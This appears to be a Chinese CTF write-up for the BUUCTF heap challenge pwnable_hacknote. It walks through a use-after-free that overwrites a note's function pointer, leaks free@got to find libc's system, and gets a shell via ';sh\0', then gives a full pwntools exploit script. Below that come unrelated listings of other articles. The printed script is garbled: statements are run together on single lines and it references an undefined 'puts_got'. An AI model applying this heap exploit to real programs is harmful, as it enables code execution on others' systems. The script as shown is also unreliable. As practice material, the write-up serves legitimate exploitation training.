pwnable_hacknote

附件

步骤:

  1. 例行检查,32位程序,开启了nx和canary保护
  2. 本地试运行看一下大概的情况,熟悉的堆的菜单
  3. 32位ida载入
    add()



    gdb看一下堆块的布局更方便理解

    delete()

    show()

利用思路:使用uaf泄露libc,计算system,执行system(‘/bin/sh’)获取shell

泄露libc

print_note的打印功能可以帮助泄露地址。

  1. 先add chunk0,add chunk1,大小都为0x80。
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1

  1. 然后delete chunk1,chuk0.此时再申请add chunk2,大小为8. 那么chunk2的note块就是chunk0的note块,chunk2的content块就是chunk1的note块(fastbin的原则是LIFO)。此时向content2中写入puts函数地址(保持不变,还是原来的)和free@got地址
delete(1)
delete(0)
payload = p32(0x804862b)+p32(0x804a018)
add(8,payload)#2


  1. 上面分析了show功能的执行是根据note块里的puts函数地址打印content地址上的内容,这样在调用 show(chunk2)时,就会执行puts(free@got地址),将free函数的实际地址泄露,再根据偏移泄露system函数地址。
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
delete(1)
delete(0) payload = p32(0x804862b)+p32(0x804a018)
add(8,payload)#2 show(1)
free_addr = u32(p.recv(4)) offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset

执行system(‘/bin/sh’)

用上述的方法,将note的puts函数地址覆写成system函数的地址,将要打印的地址的内容chunk的地址改写成‘/bin/sh’,但是这样失败了,百度后得知如果将puts函数地址覆盖为system地址,system的参数是system函数地址本身,这样肯定不行。但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以成功将content位置覆盖成 ‘;sh\0’或||sh,同样的然后show(chunk1)就能执行system(‘sh’)得到shell了

delete(2)
payload = p32(system_addr) + ';sh\0'
add(8,payload) show(1)

完整exp

from pwn import *
context.log_level='debug' #p = remote('node3.buuoj.cn',25799)
p=process('./hacknote')
libc = ELF('./libc-2.23-32.so') def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.send(content) def delete(index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index)) def show(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index)) add(0x80,'aaaa')
add(0x80,'bbbb')
gdb.attach(p)
delete(1)
delete(0) payload = p32(0x804862b)+p32(puts_got)
add(8,payload) show(1)
free_addr = u32(p.recv(4)) offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset delete(2)
payload = p32(system_addr) + ';sh\0'
add(8,payload) show(1) p.interactive()

[BUUCTF]PWN——pwnable_hacknote的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  3. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  8. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

  9. [BUUCTF]PWN——0ctf_2017_babyheap

    0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...

随机推荐

  1. bootstrap导入报错

  2. Codeforces 848E - Days of Floral Colours(分治 FFT)

    Codeforces 题目传送门 & 洛谷题目传送门 神仙 D1E,一道货真价实的 *3400 %%%%%%%%%%%% 首先注意到一点,由于该图为中心对称图形,\(1\sim n\) 的染色 ...

  3. 洛谷 P3721 - [AH2017/HNOI2017]单旋(LCT)

    洛谷题面传送门 终于调出来这道题了,写篇题解( 首先碰到这样的题我们肯定要考虑每种操作会对树的形态产生怎样的影响: 插入操作:对于 BST 有一个性质是,当你插入一个节点时,其在 BST 上的父亲肯定 ...

  4. #10470. 「2020-10-02 提高模拟赛」流水线 (line)

    题面:#10470. 「2020-10-02 提高模拟赛」流水线 (line) 题目中的那么多区间的条件让人感觉极其难以维护,而且贪心的做法感觉大多都能 hack 掉,因此考虑寻找一些性质,然后再设计 ...

  5. 实现一个简单的类似不蒜子的PV统计器

    内部的放到gitlab pages的博客,需要统计PV,不蒜子不能准确统计,原因在于gitlab的host设置了strict-origin-when-cross-origin, 导致不蒜子不能正确获取 ...

  6. 一次forEach 中 await 的使用

    forEach 和 await/async 的问题 最近在刷面试提的时候看见这样一道题 const list = [1, 2, 3] const square = num => { return ...

  7. 【R】ggplot2的facet_warp/grid如何实现超过两类水平的分面?

    之前最多只做过两类单水平的分面,即两两组合的面板图.如果某类超过两个水平呢? 一类的分面:facet_wrap(~ align) 两类的分面(x轴和y轴):facet_grid(align ~ gen ...

  8. linux中conda升级R到4.0?

    目录 前言 问题 曲线救国 前言 虽然我的win版本R已经用4了,但之前在Linux环境一直没用R4.0,因为Linux涉及的东西太多,担心不稳定,牵一发而动全身. 但现在有好些R包必须要用更新到R4 ...

  9. zabbix 集成cloud alert

    1.       了解 Cloud Alert 通过应用,接入监控系统/平台的告警,集中管理您的告警,统一分派通知,统一分析.这个平台最先了解和使用是在 2017 年下半年,之前的名称叫 oneits ...

  10. C 语言do while 循环

    do while 循环小练习 1 #include <stdio.h> 2 #include <stdlib.h> 3 4 int main(void) 5 { 6 int a ...